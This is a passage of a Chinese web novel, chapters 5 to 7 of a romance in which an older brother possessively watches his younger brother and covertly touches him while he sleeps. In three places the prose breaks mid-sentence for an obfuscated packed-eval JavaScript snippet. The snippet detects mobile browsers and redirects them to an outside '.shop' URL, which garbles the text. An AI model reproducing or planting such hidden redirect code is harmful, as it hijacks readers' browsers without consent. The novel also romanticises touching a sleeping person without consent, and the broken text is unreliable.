白锦和裴寂的对话永远是这样,一问一答,简洁得像在填表格。不是不想多说,是他们之间好像始终隔着一层什么东西,说不清道不明。 裴昭咬着一块苹果,目光在他妈和他哥之间来回转一圈。 他有时候会想,如果不是有他在中间,裴寂和这个家之间的联系会不会更淡。 “我去看看阿姨的汤炖好了没有。”白锦站起来。 客厅又只剩兄弟两个人。 裴昭把杯子里的水喝了一半,把空杯放回茶几上。他歪过头,瞥了裴寂一眼。 裴寂正襟危坐,西装裤笔挺,衬衫扣子系到最上面一颗。在家里的沙发上,他的姿态依然端正得像是在什么正式场合。双手交叠放在膝上,目光落在电视屏幕上,但裴昭知道他根本没在看。 这个人从小就这样,越是不自在的时候,表面上越是一副无事发生的模样。 “哥。” 裴寂转过头来。 “你还出国吗?” 裴昭问得很突然,语气也很随意,但他的手指无意识地在沙发垫上抠了一下。 裴寂慢慢拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532017|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶几上的杯子,杯子是裴昭刚才喝过的,杯沿上还留着一点水渍。 裴寂把它端起来,送到唇边,喝了一口:“不去了。” 三年时间是他能给自己还有裴昭最长的期限了。 裴昭接着嘀咕一句什么,裴寂没听清。这时白锦的声音从餐厅传过来,喊他们吃饭。 裴昭动作很快站起来,头也不回地往餐厅走:“来了来了。” 裴寂在原处坐了几秒,他低头看手里的杯子,杯沿上裴昭喝过的位置,被他自己的嘴唇覆过。 他把杯子放下,起身走向餐厅。 裴昭在旁边自己给自己盛饭,筷子在电饭煲里戳了好几下,盛出一个歪歪扭扭的饭团。 白锦直摇头:“你看看你哥,再看看你。” 裴昭把饭团往碗里一扣,理直气壮:“我哥是天花板,我不跟他比。” 白锦被他噎得没话说。 裴寂的嘴角动一下,如果不是裴昭一直偷偷拿余光瞄他,根本不会注意到。 一顿饭吃得安安静静,裴寂吃完就放下了筷子,跟白锦说公司还有事,晚上不住家里。 白锦说路上慢点,又让他有空多回来吃饭。 裴寂应了一声,走到门口换鞋的时候,他回头。 裴昭坐在餐桌边,拿筷子戳碗里剩下的半块排骨,没有抬头。 门关上,裴昭把排骨戳烂了。 吃完饭他帮白锦收了碗,就钻进自己房间,裴昭躺在床上,盯着天花板发呆。 好一会裴昭翻个身,摸出手机。 林启青发了十几条消息,裴昭回了一条:“活着。” 林启青秒回:“草,你终于出现了。” 接着是语音通话拨过来。 裴昭接了,林启青的声音劈头盖脸地砸过来:“你怎么回事啊,两天不回消息,我还以为你被你哥关起来了。” “差不多。” “啊?” “没什么。”裴昭翻了个身,“你找我干嘛。” “约你打游戏啊,新赛季了,我掉分掉得想死。” 裴昭反正躺着也是躺着,就打开了游戏。林启青在那边嗷嗷叫着上路支援,我被抓了,裴昭操作着手里的角色,心不在焉地跟着团战。 打了两把,他把手机放下。 “不打了。” “啊?连胜了呢。” “困。” 裴昭挂了语音,他退出游戏,拿起平板手指在桌面上划来划去,最后点开一个绘图软件。 阳台上的光线很好,下午三四点的太阳照进来,裴昭把懒人沙发拖到阳台边,整个人窝进去,平板搁在膝盖上,笔尖点开上次没画完的稿子。 画布上是一个粗糙的线稿。 人物的轮廓已经勾出来了,肩膀的弧度,脖颈的线条以及微微侧过去的下颌角。五官还没有细化,只有一个大致的框架,但看姿态和身形,已经能认出来是谁。 裴昭把笔尖落在眉骨的位置。 他画得很慢,不是技术不够,是他每一笔都要反复修改,生怕哪里不像。 眉骨要稍微高一点,但不是那种很凶的弧度,裴寂的眉眼之间有一种很矛盾的沉静,明明是冷感的线条,组合在一起却让人觉得可靠。 眼睛是最难画的。 裴昭调了好几次透明度,画了又擦,擦了又画。裴寂的眼睛颜色偏深,很浓的黑褐色,瞳仁和虹膜的边界不太分明,看人的时候会有一种很专注的感觉。 裴昭被他这样看过无数次。 小时候摔倒了哭,裴寂蹲下来看他膝盖上的伤口,发烧了躺在床上,裴寂伸手探他额头的温度,前两天他咬住裴寂脖子的时候,裴寂低头看他的那一眼,还是这种目光。 裴昭把眼睛的线稿画完,退远一点看了看,不太像。 5. 第 5 章 裴昭再见到裴寂,是三天以后。 下午最后一节课的铃声响过,教学楼里涌出一股人流。 裴昭和同班的周妤一起往外走,有一搭没一搭地听周妤说下周小组作业的事。 “数据分析的部分我真的搞不懂,”周妤愁眉苦脸,“你到时候能不能帮我看一下?” “好。”裴昭随口答应。 校门口人来人往,裴昭的目光漫不经心地扫过去,脚步忽然顿住。 一辆深灰色的车停在路边,驾驶座的车窗降下来一半,露出一张轮廓分明的侧脸。 裴昭差点以为自己看错了。 “怎么了?”周妤顺着他的目光看过去。 裴昭没来得及回答,那辆车的车门已经推开了,裴寂从驾驶座出来,反手关上车门,目光穿过校门口的人群,准确落在裴昭身上。 然后移到他身后的周妤身上。 裴昭觉得他哥今天有点不太一样,说不上来哪里不一样,姿态也还是那种从容到近乎冷淡的姿态,但周身的气压似乎低了一点。 裴昭小跑过去,仰起脸:“哥,你咋来了?” 裴寂却语气怪异地问:“昭昭,她是谁?” 裴昭回头看周妤一眼,赶紧介绍:“同班同学,我们一个小组的。” 周妤礼貌点点头,识趣地往旁边挪了一步:“那个,裴昭,小组作业的事我微信跟你说,我先走了。” 裴寂的视线从她背影上收回来,重新落在裴昭身上:“接你去吃饭。” 裴昭回头冲周妤的背影喊一声回见,就跟着裴寂走到车边,拉开副驾驶的门坐了进去。 他把书包往脚边一扔,仰着脑袋开始想自己要吃什么。 裴寂歪过身来,一只手撑在裴昭座椅的靠背上,另一只手从他身前横过去,拉住安全带,咔哒一声扣进锁扣里。 裴昭仰着脑袋,还在想糖醋排骨还是番茄牛腩,对这个动作习以为常。 从来没有注意过,裴寂替他系安全带的时候,身体会倾斜到一个恰好能把他整个罩住的角度。 “哥,我想吃你做的糖醋排骨。” 裴昭嘴挑喂娇气,但奇怪的是他哥做什么他都喜欢吃,也不知道是因为裴寂厨艺好还是因为裴昭双标。 所以裴寂开车直接回到了公寓,裴昭把书包往沙发上一甩,整个人窝进沙发里,摸出手机给林启青发消息。 “我哥今天来学校接我了。” 林启青秒回:“?今天不是周一吗” “是啊。” “他不上班?” 裴昭想了想,打字:“不知道。” “反正他今天来接我了。”裴昭打字。 林启青发了个牙疼的表情包。 裴昭正想回他一个表情包,余光瞥见裴寂从卧室出来了。西装外套脱了,衬衫袖子挽到小臂中间,露出那道很淡的旧疤。 裴昭把手机放下,偷偷溜到厨房门口。他靠在门框上,看着他哥的背影。裴寂低着头,脊背的线条从宽阔的肩膀收束到腰际。 裴昭忽然开口:“哥。” 裴寂没回头:“嗯。” “你还没和我说过你在国外的生活。” 水龙头开着,裴寂把泡好的排骨捞出来,放进锅里焯水。 “没什么有趣的。” 裴昭不信,他把手臂抱在胸前:“是吗?三年呢,什么都没发生?” 裴寂还是说:“没有。” 裴昭盯着他哥的后脑勺,忽然换了个问题:“哥,你没谈女朋友吗?” 裴寂停了下。 “爸妈还问过我。”裴昭补充一句。 裴寂关掉水,把排骨码进盘子里,又把番茄放到案板上,回:“没谈。” 裴昭往前走两步,走进厨房里,靠在裴寂旁边的台面上,仰头看他哥的侧脸。 “真的假的?”裴昭凑近一点,压低声音,“不要不好意思说。” 裴寂把手里的番茄和刀都放下,然后转过身来。 裴昭还没反应过来,一只手已经握住他的手腕。裴寂轻轻一拉,就把裴昭拉到了自己身前。另一只手撑在裴昭身侧的台面上,把他整个人圈在了一个很小的范围里。 裴昭震惊地抬头。 厨房的灯光从头顶照下来,在他的眉骨和鼻梁侧边投下阴影,本来就颜色偏深的眼睛更沉更浓。 “昭昭呢?” “有喜欢的人吗?” 裴昭语塞,这是一个很普通的问题,室友问过,同学问过,林启青问过,他都能笑嘻嘻地回一句没有啊或者你介绍一个。 但裴寂问出来的时候,这两个字就变得很重。 裴昭缓了两秒才结结巴巴地开口:“没……没有。” 他的后背抵上台面边缘,退无可退。裴寂的上半身还在慢慢压下来,距离在缩短。 裴昭不知道自己为什么要抬起手,细白的手指撑在裴寂胸前,能感觉到裴寂的体温和心跳。 明亮的双眸里流露出慌张,裴昭往后仰了仰。 裴寂没有继续靠近。 裴寂用目光舔了一遍无知无觉的裴昭,颤抖的眼睫,不安的眼神,轻轻抿着的柔软红唇。 好乖。 裴昭什么都不知道,不知道自己的睫毛在发抖,不知道自己的手指撑在裴寂胸口的样子根本不像拒绝。 不知道他对别人的触碰很敏感,每次他把手放在裴昭腰上的时候,裴昭就会不自觉地发颤。 懵懂不自知的,全无防备。 裴寂想着,手掌贴上了裴昭的小腹。 裴昭果然颤抖一下,撑在他胸前的手指蜷缩起来,小腹的肌肉在掌下微微绷紧,平坦而柔软,有点单薄了。 “饿了。”裴寂低声说。 “好小。” 氛围变得很怪异,裴昭回过神来,猛地推开裴寂,从他手臂底下一弯腰钻了出去跑出厨房。 “我要去打游戏了!” 声音很大,像是急于掩饰什么。 裴寂单手撑在台面上,站了好一会儿。然后慢慢抬起右手,举到眼前。手指微微张开,又慢慢收拢,掌心里还残留着他肌肤的温度和触感。 他把手放下,转回身,拿起刀,继续切番茄。 裴昭抱着手机缩在沙发角落里,咬着下唇发呆。屏幕上林启青发了七八条消息,最新一条是:“人呢?又被你哥绑架了?” 裴昭忽然想起以前林启青的嘲笑,他一脸牙疼的表情:“你和你哥这相处模式,我真的看得牙酸。” 裴昭就跳起来反驳他,抄起枕头往林启青脸上砸。 现在他咬着嘴唇,拇指无意识地在手机壳边缘来回摩挲。 真的没问题吗? 他的心跳到现在都没完全平复下来。 过了好一会儿,他的目光飘向电视柜旁边的墙面。那里挂着几幅照片,装在相框里,最中间那张是裴寂大学毕业时拍的合照。 裴昭那时候上高中,个头刚到裴寂肩膀,挤在他哥身边,笑得见牙不见眼。 但裴寂没有看镜头,他微微侧头,目光落在身边笑得没心没肺的少年身上。 他哥在笑。 裴昭忽然拿起手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532018|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,疯狂给林启青发消息。 “林子。” “林子林子林子。” “你快出来。” 林启青回了一串问号。 裴昭打字打了半天,又全部删掉,最后发了一句:“算了没事。” 林启青:“?你耍我” …… 裴寂把菜端上桌的时候,裴昭已经磨磨蹭蹭地从沙发上挪过来了。 和裴寂吃饭有一个坏处,裴寂一定要他吃到七八分饱才会放他离开。而且得营养搭配。不能一直吃一种菜。 裴昭以前吐槽过,说他哥管得比妈还宽。裴寂不改,慢慢的他也就习惯了。 吃完饭裴寂去洗碗,裴昭窝在沙发上看手机。等裴寂擦着手出来的时候,裴昭已经横在沙发上,手机举在脸上面,屏幕的光映在他眼睛里。 “今晚住这里。” 裴昭哦一声,他本来也没想回去。 浴室里的东西是齐的,沐浴露是他喜欢的,洗发水和洗面奶是他用惯的那款,睡衣也是裴寂拿给他的。 好像有裴寂的地方,就会自动生长出他需要的一切。 洗完澡出来,裴寂已经坐在床边,他换了一身深色的家居服,手里拿着手机,正在看什么。床头灯开着,光线调得很暗。 裴昭擦着头发走过去,裴寂放下手机,从床头柜抽屉里拿出吹风机。 “过来。” 裴昭就在床边坐下,背对着裴寂。吹风机嗡嗡响起来,热风拂过他的头发,裴寂的手指插进他的发丝里,指腹贴着头皮,慢慢拨弄。 裴昭的头发又细又软,湿的时候会打卷,贴在脖子上,裴寂就把那些卷起来的发尾一点一点拢起来吹干。 裴昭被吹得昏昏欲睡,脑袋一点一点往下垂。裴寂的手托住他的下巴,把他的脑袋扶正,继续吹。 吹完头发,裴寂把吹风机收好,关了灯。 裴昭自然而然地滚进裴寂怀里,找到一个舒服的姿势,把脸埋进他哥胸前。 裴寂的手臂环过来,手掌贴在他后背上。 隐隐觉得哪里不对劲,但困意涌上来,脑子变得黏糊糊的,什么都想不明白了。 裴昭睡着了,房间里安静良久,裴寂慢慢坐起来。 被子被轻轻拉开一角,接着调暗的小灯灯光,裴寂看得清楚。 裴昭双手松松地握成拳,放在枕头边,膝盖微微蜷起来,睡姿像一只把自己团起来的小猫。 裴寂先是拉起了裴昭的手。 他捏住裴昭的食指指尖,指腹贴着柔软的指腹,慢慢揉了一下。 然后是中指,无名指,小指,每一根都捏过去,最后指节分明的大手覆上去,把那只手整个包进掌心里。 软的,小的。 他把裴昭的手翻过来,手心朝上,拇指按在手腕内侧。裴寂的手指圈住手腕,慢慢收拢,虎口卡在腕骨的位置。 裴寂皱了皱眉,还是太瘦。 他把裴昭的手放回去,手向被子里伸进去。手掌贴上腰侧,隔着睡衣薄薄的面料,拇指按在肋骨末端,其余四指贴在腰窝的位置,轻轻收拢。 腰很细,手掌贴着腰线往下移了一点,停在胯骨上方的凹陷处,拇指按在那里,感觉到底下的骨骼轮廓。 裴寂维持这个动作,手指微微收紧又松开,量完了。 他把手收回来,帮裴昭把睡衣下摆拉好,把被子重新盖上去,被角掖进肩膀和下巴之间。 他躺回去,将裴昭重新摆回刚才的姿势,伸手揽住裴昭的后背,把他往怀里带了带。 裴寂闭上眼睛。 6. 第 6 章 因为裴寂的公寓离学校近,裴昭最近都没有住宿舍,跑去了他哥那里打扰他哥。 周四晚上裴昭窝在沙发上,掰着手指头算了算,发现自己已经连续五天没回宿舍了。 裴寂正在餐桌那边看文件,忽然问:“在数什么。” 裴昭把手指收回去,“没什么。” 周五上午最后一节课结束,裴昭把课本往林启青怀里一塞,说了句帮我带回去,人就已经窜出了教室门。 林启青抱着两摞书站在走廊里,看着裴昭的背影消失在楼梯口,认命地往宿舍走。 裴昭在校门口打了辆车,给裴寂发了条消息:“哥,我过来了。” 几乎是秒回的:“到了楼下别动,我下来接你。” 车停在写字楼楼下,这一片是市中心,高楼林立,裴昭仰头看了看,正要给裴寂发消息,余光就捕捉到旋转门里走出来的身影。 裴寂今天穿的是藏蓝色的西装,领带是银灰色的,衬衫领口一丝不苟地扣着。 他从旋转门里走出来的时候,大厅里正好有一群人从电梯间涌出来,西装革履,步伐匆匆。裴寂从人群中穿过,走到他面前:“吃了吗。” “吃了。”裴昭老老实实回答,“食堂吃的,青椒肉丝、番茄炒蛋、二两米饭。” 裴寂点头,裴昭跟在后面,进了电梯,电梯在十五层停下。 裴昭在办公室里转悠了一圈,先是走到落地窗前,额头抵着玻璃往下看了一眼,十五层的高度让他的小腿微微发软。 然后他踱到书架前面,抽出一本翻了翻,里面夹着几张便签,上面是裴寂的笔迹。裴昭把书塞回去,又绕到了办公桌前面。 办公桌上放着两个相框。 一个是五六岁的裴昭,照片里的小男孩穿着一件明黄色的雨衣,雨衣帽子太大,把他的脸都遮了一半,只露出一个尖尖的下巴和咧开的嘴。 第二个相框里的照片是高二的裴昭,穿着校服,站在学校运动场的跑道边上,手里拎着一瓶水,正仰头喝。 风吹起他额前的碎发,露出整张侧脸,那时候裴寂已经大学毕业了。 裴昭把高二那张拿起来,放在手里看一会,照片里的自己喝水的样子很傻,嘴巴鼓着,眼睛眯起来,完全不知道镜头在哪里。 裴昭捏着相框,嘀咕了一句:“我都没有你的照片。” 裴寂站在他身后不远的地方,听见了。他走到沙发区那边,拿起内线电话按了一下,吩咐送一杯热牛奶上来。 然后转过头来问他:“要不要吃点什么?” 裴昭摇头,他从背包里抽出平板,抱着走到角落的那把椅子前面。 裴昭窝进去,把平板搁在膝盖上,笔尖点开已经完成线稿的画布。 “不用了,我画画等你吧。” 裴寂就走回办公桌后面坐下,打开了显示器。屏幕上跳出一排未读邮件,他点开第一封,目光却没有落在邮件上。 他的视线越过屏幕,落在落地窗旁边的裴昭身上。 少年膝盖蜷起来撑着平板,整个人缩成小小一团。碎发垂下来挡住半张脸,露出一截白得过分的后颈,和微微抿着的嘴唇。 他时不时抬头看裴寂一眼。 看一眼,低下头画几笔,再看一眼,再低下头。每次抬头都很快,像是不想被发现。 太明显了,裴寂垂下眼,手指在键盘上敲了一行字,他在画自己。 从小到大,其实很多人都觉得裴昭太黏裴寂了。亲戚说过,爸妈说过,裴寂自己小时候也这么觉得。 那时候裴昭刚学会走路没多久,走都走不稳,却非要追在他后面。 裴寂从客厅走到厨房,小裴昭就扶着墙一步一步挪过去。裴寂从厨房走回房间,小裴昭就跌跌撞撞地跟过来,被地毯绊倒了也不哭,自己爬起来继续追。 裴寂那时候是烦的。后来他慢慢发觉自己的病症,所以他卑鄙地高兴于裴昭只粘着他。 只对他笑成那样,只在他面前耍赖,只会在他回家的时候从沙发上跳下来跑向门口,只会在生病的时候往他怀里钻,只会在喊哥的时候尾音微微上扬,带着占有被占有的亲昵。 裴昭在画他,他的弟弟,他的昭昭,笨拙自以为隐蔽地画着他的肖像。 因为裴昭的到来,他从身到心都活跃躁动起来。 微微低头时发丝间露出的雪白小脸,换姿势时从裤腿下面晃进他余光里的那一截小腿,捏着笔的手指…… 裴寂端起桌上的咖啡杯,喝了一口,苦味很重。 桌上的手机振动一下,屏幕亮起来,是他的好友范瑞莱的消息。 “怎么样?回国失眠有没有好点。” 裴寂没有回复,手机屏幕暗下去,又振动了一下,还是范瑞莱。 “你那个药还在吃吗?老陈说那个不能长期吃,你注意点。” 失眠从三年前出国开始,最开始是一晚上醒两三次,后来是躺到凌晨三四点才能勉强睡着一会儿,再后来是整夜整夜地睁着眼睛。 安眠药从半片加到一片,从一片加到一片半。 回国之后稍微好了一点,但真正好起来,是这几天。 从裴昭发烧那天晚上开始,怀里多了一个人的重量,多了一份温暖,他就能睡着了。 不是因为回国,是因为裴昭。 裴寂捻了捻手指,指尖仿佛还残留着昨晚丈量过的触感。手腕的细,腰的窄,小腹的柔软。 裴昭画了一整个下午。断断续续地,画一会儿,抬头看一眼,再画一会儿。 不满意又擦掉重画,或者把平板举远一点,歪着头打量,然后低下头继续修。 他认真的时候会咬下唇,门牙陷进柔软的唇肉里,留下一小片浅浅的红。 裴寂合上笔帽。 画好了,裴昭把平板举起来,对着光看了看,这次他勉强满意了。 裴昭把平板放下,伸了个懒腰,正要跟裴寂说话,手机响了。 他接起:“妈。” “昭昭,今天周五了,几点到家?妈让阿姨炖了你爱喝的排骨汤。” 裴昭险些忘记周末,他爸妈不放心他,周末他都是要回家的。 这个规矩从他大一住校开始就定下来了,白锦在这方面意外地固执。 “我跟我哥在一起呢。”裴昭说。 “那正好,让小寂一起回来吃饭。” 裴昭捂住话筒,抬头喊裴寂:“哥,妈让我们回去吃饭。” 裴寂正在关电脑:“我送你回去。” 裴昭眨眨眼:“你不回去?” “工作没处理完。”裴寂站起来,拿起搭在椅背上的外套,“我后天回。” 裴昭撇嘴,跟电话里说了句我哥后天回,我先回来,挂了电话,小声吐槽一句:“周末也加班啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532019|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?真搞不懂你为什么不在自家公司。” 裴寂把外套穿好,拿起车钥匙。 “走吧,先回公寓拿东西,送你回去。” 裴昭跟着他往外走,电梯里裴昭还在嘀嘀咕咕,说裴寂的公司比自家的小,待遇也不见得更好,还要自己跑海外业务,到底图什么。 裴昭放在裴寂公寓的东西挺多的,但裴昭只需要把背包里必须要用的东西拿走就行。 “哥,我那个小熊你真没看到?” 裴寂靠在鞋柜边上,低头看手机:“没有。” 裴昭哦一声,把背包拉链拉上,站起来。 车停在爸妈家门口的时候,天已经快黑了。 裴昭没有马上下车,他抱着背包,偏头看裴寂一眼。 裴昭问:“后天什么时候回来?” 裴寂歪过身来替他解开安全带:“中午。” 裴昭用脑门撞了一下裴寂的肩膀:“那你在公司记得吃饭。” 裴寂垂眸看他,车里的光线很暗,只有远处路灯的一点橘黄色漫进来。 裴昭看不清他哥的眼睛,但能感觉到目光落在他脸上的重量。 挨得很近的姿势,良久裴寂说:“好。” 裴昭推开车门,慢悠悠地往门口走。走到门口的时候他回头,冲车窗挥了挥手,然后推门进去了。 白锦和裴以恒都在家,裴昭进门的时候他正从厨房端着一盘清蒸鲈鱼出来,围裙还没解,看见裴昭就笑了。 “昭昭,去洗手来吃饭。” 裴昭欸一声答应下来,把背包扔在沙发上,跑进洗手间。 水龙头哗哗响着,他搓着手上的泡沫,听见客厅里白锦和裴以恒在低声说什么,隔着门板听不太清。 裴昭关上水龙头,擦干手,走出来。 饭桌上摆了满满一桌子菜,他坐下。 “慢点喝,烫。”白锦拿筷子给他夹了一筷子芦笋。 裴以恒也坐下来,给自己倒了杯茶。他吃饭的时候不怎么说话,白锦倒是说个不停,在裴昭说到最近住裴寂那里比较多的时候,白锦的筷子停一下。 “别老去打扰你哥。” “没有打扰。”裴昭把一块排骨塞进嘴里,含含糊糊地说。 裴以恒忽然开口:“下学期就是大四了。” 裴昭抬头看他爸。 裴以恒把茶杯放下:“实习的事爸给你安排,不用操心。” 裴昭没什么要脱离父母证明自己的意思,爸妈说什么他都听着,安排什么他都接受。他点点头,开心地答应下来。 白锦在旁边笑:“正好,昭昭熟悉一下公司,以后都要交到你手上。” 裴昭喝汤的动作顿住。 “什么叫交给我?”他的声音慢下来,真切的不解,“不是应该给我哥吗?” 白锦的笑容没有变,说:“自然是你哥有你哥自己的那部分。” 裴昭心里不舒服:“什么叫他那部分?” “还早的事。”裴以恒打断道,“以后再说。况且昭昭的身体,不适合太过劳累。” 白锦连忙点头:“你爸说得对。昭昭你先把身体养好,这些事不着急。” 裴昭想说我的身体早就没事了,想说你们为什么每次都用这个理由,想问他哥到底知道不知道这些安排。 他把汤勺重新拿起来,低下头,把碗里的汤喝完了。 7. 第 7 章 裴昭对于那天餐桌上的谈话,耿耿于怀了一整个周末。 他不是不懂,他从小就知道爸妈和裴寂之间隔着什么。 他记得有一年过年,白锦给兄弟俩买新衣服,裴昭的是一件红色的羽绒服,裴寂的是一件藏蓝色的棉衣。 裴昭穿上新衣服满屋子跑,跑到裴寂房间门口,看见他哥正在把那件藏蓝色的棉衣叠起来放进衣柜里。 小裴昭扒着门框问:“哥你不穿吗?” 裴寂说:“大了。” 小裴昭跑回客厅,跟白锦说哥的衣服大了。白锦头也没抬地说:“是吗,那明年再穿吧。” 小裴昭又跑回裴寂房间,看见他哥已经把衣柜门关上了。 裴昭为此努力过,小小的裴昭,话还说不利索的时候,就已经学会了一项技能,把他哥的那份也惦记着。 白锦切水果,他端走一盘,跑到裴寂房间门口踮着脚敲门:“哥,吃水果。” 裴以恒带回来两盒点心,他把自己的那盒拆开,分一半到裴寂的碟子里,推到餐桌对面。 过年收压岁钱,他数完自己的,还要探头去看裴寂的,确认两个人的厚度差不多才放心。 他左右不了大人,那就只能自己来关心哥哥。 裴昭有时候会想,裴寂知不知道。知不知道端水果敲门的小豆丁不是因为嘴馋才往他房间跑,知不知道每年他生日裴昭提前一个月就开始想礼物。 周一到周五,裴昭还是住在裴寂的公寓。 周末那点不舒服被他压下去,他照常上课,照常下课往裴寂那里跑。 直到周四,裴昭下午最后一节课出来,天就阴得厉害。他走到教学楼门口的时候,第一滴雨落下来,然后大雨忽至。 学生们挤在教学楼门廊底下,有人撑伞冲出去,有人打电话叫人送伞。 裴昭站在人群边缘,仰头看了看天,这场雨一时半会儿停不了。 他拿出手机,拨了裴寂的号码,响了一声就通了。 “哥,雨太大了,我今晚住学校算了。” 电话那边安静一瞬才回:“我开车去接你。” 裴昭看看外面的大雨,从教学楼到校门口还有好大一截路,就算打伞也得湿透。 他哥从公司开过来,这个点数正好堵在晚高峰,少说也要四十分钟。开四十分钟车过来接他,再开回公寓,这也太耽误裴寂了。 “算了,”裴昭说,“从我这到学校门口还有好大一截呢。哥抓紧时间回去歇着吧,不要麻烦了。” 电话挂断,裴寂站在公寓门口,没有开灯。 裴寂握着手机,屏幕已经暗了,他还维持着举着手机的姿势,站在玄关和客厅之间的位置。 西装外套还没脱,车钥匙握在另一只手里,慢慢收紧。 他刚从公司回来,开门的同时正想拨通裴昭的电话。 裴寂把车钥匙放在玄关的托盘里,他走进去,在沙发上坐了下来。 空荡的客厅,安静的公寓,雨声从窗外传进来,很大。 此时所有的声音都被雨声裹着,变成混沌的背景音,在这些声音之上,裴寂能听见自己的呼吸。 一个人的呼吸。 他用手指捻住左手无名指的指根,慢慢摩挲。 他已经很久没有一个人待在这间公寓里了。从裴昭发烧那天晚上开始,这间公寓里就一直有两个人。 裴寂捻着指根的手停下来,他站起来,走进卧室。借着窗外微弱的光,拉开衣柜门。 里面整整齐齐挂着两排衣服,他伸手把裴昭那排衣服最边上那件T恤拿下来,然后攥在手里,坐回床边。 裴寂低下头把脸埋进T恤里。 洗衣液残留的柑橘味,和裴昭身上的气息很像。裴寂闭着眼睛,呼吸沉下去,肩膀的线条在昏暗里微微起伏。 窗外雨声很大,今晚对于他来说,将会是一个难眠之夜。 学校这边,裴昭和林启青打同一把伞往回走。伞是林启青的,一个人撑绰绰有余,两个人就有些勉强了。 林启青把大半伞面都往裴昭那边倾斜,自己的左肩整个暴露在雨里,裴昭发现了,把伞柄往他那边推,林启青又推回来。 “你别推了,你那身体淋了雨明天又发烧,你哥能提着刀来学校找我。” 裴昭踹他一脚,水花溅了两人一裤腿。 到宿舍楼下,林启青收起伞,两个人站在门廊底下互相看了看。 裴昭的右肩湿透,林启青的左肩湿透,头发都贴在额头上,狼狈得像两只被从水里捞出来的猫。 林启青抹了一把脸上的雨水,催促裴昭:“赶紧回去洗澡,别着凉了。” 裴昭嗯一声,甩甩头发上的水,跑上了楼。 推开宿舍门的时候,里面只有一个人。 江行舟戴着头戴式耳机,面对着电脑屏幕,手指在键盘和鼠标上飞速操作。 屏幕上是某个射击游戏的画面,他察觉到门开的动静,回头看一眼,惊讶起来。 “裴昭?你今晚住宿舍吗?” 裴昭点头,把书包放在自己座位上,从衣柜里翻出干净衣服:“雨太大了,不回去了。” 江行舟朝窗外看一眼,雨势比刚才更大了,雨线几乎横着飞,砸在玻璃上噼里啪啦地响。 “嚯,是好大。” 裴昭把干净衣服抱在怀里,朝另外两张空着的床位抬了抬下巴:“他们呢?” 江行舟的注意力又被屏幕拉回去了,等一波团战打完,才抽空回答:“出去约会了,今晚可能也不回来。” 裴昭没再问,抱着衣服进了卫生间。 热水从花洒里冲下来的时候,他才感觉到自己有多冷。手指尖和脚趾是冰的,后背被冷水激得起了一层细密的鸡皮疙瘩。 热水冲了好一会儿,体温才慢慢回来。他洗得比平时久,换上干净睡衣出来的时候,江行舟已经没在打游戏了。 电脑合上,他手机举在脸前面,正在外卖软件上划来划去。 “也不知道等会儿雨还停不停,我饭还没吃。” 裴昭把毛巾搭在脖子上,凑过去看他的手机屏幕:“我也没,点校园送吗?” 江行舟切换软件:“只能这样了。” 江行舟点的是两份盖浇饭,宫保鸡丁和鱼香肉丝,还加了两根烤肠。 裴昭掰开一次性筷子,挑了一块鸡丁塞进嘴里,嚼了两下,皱皱眉。 裴昭又嚼了两下,咽下去,忽然很想吃裴寂做的饭。 就在这时,手机响起,是视频通话,裴寂的。 裴昭随手接起来,屏幕里亮出裴寂的脸,背景是公寓的客厅,灯开着,光线很亮。 裴寂应该也是已经洗过澡了,换了一身深色的家居服,头发半干,微微有些凌乱地搭在额前。他的目光先落在裴昭脸上,然后往下移,停在他头发上。 “昭昭,怎么没吹头发?” 裴昭啊一声,腾出一只手揉了揉自己还潮湿的发尾。他满不在乎地说:“懒得去。” 裴寂的眼神黑眸闪过不明情绪。 他正在忍耐着没有立刻去纠正。 “晚饭吃的什么?”裴寂的声音低了一度,“让哥哥看看。” 裴昭听话地把镜头翻转,对准自己面前那盒吃了一半的盖浇饭。 裴昭说:“不好吃,没有哥你做的好吃。” 屏幕那头沉默两秒。 裴昭把镜头翻回来,看见裴寂正盯着屏幕。 “那就不吃了。”裴寂果断做了决定,“我现在来接你。” 裴昭赶紧把手机拿近:“我睡衣都换好了,哥你工作一天都不累吗?不折腾了,哥快睡觉去吧。” 裴寂被转移注意力,画面里裴昭穿着一件裴寂没见过的睡衣。不是他买的那几套,颜色是浅灰色的,领口的扣子没系,露出一小截锁骨。 袖子长了一点,遮住半个手背,只露出几根细白的手指。 裴寂盯着那件睡衣看了两秒:“这件睡衣什么时候买的。” 裴昭想起来这是上次和林启青逛商场的时候顺手买的,打折买一送一,他和林启青一人买了一件。 裴昭把手机支在桌上,空出手来拿起筷子,又夹了一块鸡丁,嚼了嚼。 屏幕里裴寂看着他吃。 